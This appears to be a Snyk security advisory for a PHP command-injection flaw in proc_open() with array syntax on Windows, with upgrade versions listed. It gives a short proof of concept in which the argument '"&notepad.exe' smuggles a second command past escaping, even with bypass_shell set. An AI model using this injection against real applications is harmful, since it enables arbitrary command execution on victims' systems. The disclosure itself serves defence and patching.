Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade php
to version 8.1.28, 8.2.18, 8.3.6 or higher.
Affected versions of this package are vulnerable to Command Injection when using proc_open()
command with array syntax, due to insufficient escaping. If the arguments of the executed command are controlled by a malicious user, the user can supply arguments that would execute arbitrary commands in Windows shell, even if the bypass_shell
option is enabled.
test.bat
echo hello
test.php
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"¬epad.exe"], $descriptorspec, $pipes);
proc_close($proc);
notepad.exe
is executed.Alternatively, you can use the following PHP file to confirm that the bypass_shell
option doesn't prevent this behavior.
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"¬epad.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true));
proc_close($proc);